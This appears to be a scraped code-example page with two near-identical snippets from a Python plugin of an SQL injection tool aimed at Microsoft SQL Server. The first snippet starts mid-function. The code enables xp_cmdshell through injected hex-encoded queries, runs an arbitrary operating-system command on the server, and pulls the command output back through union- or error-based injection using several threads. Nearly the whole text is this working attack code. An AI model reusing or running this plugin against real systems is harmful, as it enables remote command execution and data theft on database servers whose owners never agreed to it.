        hex = core.txtproc.strToHex(\
        "create table dtpropertie (num int identity, result varchar(8000) NULL, primary key (num))", True)
        query = self.wq.buildQuery(execStr, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)

        #Inserting xp_cmdshell output to temp table
        hex = core.txtproc.strToHex(\
        "insert dtpropertie exec master..xp_cmdshell '" + self.vars['cmd'] + "'", True)
        query = self.wq.buildQuery(execStr, self.vars, {'hex' : hex})
        self.wq.httpRequest(query, True, self.vars)
        
        #Getting count of rows in temp table
        self.vars['query_cmd'] = "select count(*) from dtpropertie"
        query = self.wq.buildQuery(self.injType('query'), self.vars)
        rowCount = self.wq.httpRequest(query, False, self.vars)
        if rowCount == "no_content":
            return
        
        #Preparing tableWidget
        self.outputSignal.emit(0, '0', True, int(rowCount))
        
        #Multithreadind
        tQueue = Queue()
        threads = []
        for tNum in range(1, int(rowCount)):  
            tQueue.put(tNum)
        for i in range(self.vars['threads']):  
            t = threading.Thread(target=self.mtCmdOutput, args=(tNum, tQueue, rowCount)) 
            threads.append(t)
            t.start()
            time.sleep(0.1)
        for thread in threads:
            thread.join()
            
    #Multithreaded xp_cmdshell output extracting
    def mtCmdOutput(self, tNum, tQueue, rowCount):
        while not self.killed: 
            try:  
                tNum = tQueue.get_nowait()
            except Exception:  
                break
            query = self.wq.buildQuery(self.injType('get_row'), self.vars, {'num' : str(tNum)})
            cmdResult = self.wq.httpRequest(query, False, self.vars)
            if cmdResult == "no_content":
                self.log(sys._getframe().f_code.co_name + "() -> cmdResult", False)
                return
            self.outputSignal.emit(tNum, core.txtproc.recoverSymbols(cmdResult), False, 0)
            time.sleep(0.1)
            tQueue.task_done()
            self.progressSignal.emit(int(rowCount) - 1, False)
Esempio n. 14
0
class Worker(QtCore.QThread):

    outputSignal = QtCore.pyqtSignal(int, str, bool, int)
    progressSignal = QtCore.pyqtSignal(int, bool)
    logSignal = QtCore.pyqtSignal(str)

    def __init__(self, vars, qstrings):
        QtCore.QThread.__init__(self)
        self.vars = vars
        self.qstrings = qstrings
        self.killed = False
        self.wq = HTTP_Handler()
        self.wq.logSignal.connect(self.log)

    def log(self, logStr):
        self.logSignal.emit(logStr)

    def kill(self):
        self.killed = True

    def run(self):
        self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++")
        if self.vars['task'] == "exec":
            self.xp_cmdshell()
        else:
            self.enable_xp_cmd()
        time.sleep(0.1)
        self.progressSignal.emit(0, True)
        self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***")

    def injType(self, query):
        #Define query string for current injection type
        if self.vars['inj_type'] == "union-based":
            qstring = self.qstrings.value('mssql_union_based/' + query)
        else:
            qstring = self.qstrings.value('mssql_error_based/' + query)
        return qstring

    def enable_xp_cmd(self):
        hex = core.txtproc.strToHex(\
        "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure", True)
        query = self.wq.buildQuery(
            self.qstrings.value('mssql_error_based/exec_hex'), self.vars,
            {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

    def xp_cmdshell(self):
        execStr = self.qstrings.value('mssql_error_based/exec_hex')

        #Delete tmp_table if already exist
        hex = core.txtproc.strToHex("drop table dtpropertie", True)
        query = self.wq.buildQuery(execStr, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #Creating tmp table
        hex = core.txtproc.strToHex(\
        "create table dtpropertie (num int identity, result varchar(8000) NULL, primary key (num))", True)
        query = self.wq.buildQuery(execStr, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #Inserting xp_cmdshell output to temp table
        hex = core.txtproc.strToHex(\
        "insert dtpropertie exec master..xp_cmdshell '" + self.vars['cmd'] + "'", True)
        query = self.wq.buildQuery(execStr, self.vars, {'hex': hex})
        self.wq.httpRequest(query, True, self.vars)

        #Getting count of rows in temp table
        self.vars['query_cmd'] = "select count(*) from dtpropertie"
        query = self.wq.buildQuery(self.injType('query'), self.vars)
        rowCount = self.wq.httpRequest(query, False, self.vars)
        if rowCount == "no_content":
            return

        #Preparing tableWidget
        self.outputSignal.emit(0, '0', True, int(rowCount))

        #Multithreadind
        tQueue = Queue()
        threads = []
        for tNum in range(1, int(rowCount)):
            tQueue.put(tNum)
        for i in range(self.vars['threads']):
            t = threading.Thread(target=self.mtCmdOutput,
                                 args=(tNum, tQueue, rowCount))
            threads.append(t)
            t.start()
            time.sleep(0.1)
        for thread in threads:
            thread.join()

    #Multithreaded xp_cmdshell output extracting
    def mtCmdOutput(self, tNum, tQueue, rowCount):
        while not self.killed:
            try:
                tNum = tQueue.get_nowait()
            except Exception:
                break
            query = self.wq.buildQuery(self.injType('get_row'), self.vars,
                                       {'num': str(tNum)})
            cmdResult = self.wq.httpRequest(query, False, self.vars)
            if cmdResult == "no_content":
                self.log(sys._getframe().f_code.co_name + "() -> cmdResult",
                         False)
                return
            self.outputSignal.emit(tNum,
                                   core.txtproc.recoverSymbols(cmdResult),
                                   False, 0)
            time.sleep(0.1)
            tQueue.task_done()
            self.progressSignal.emit(int(rowCount) - 1, False)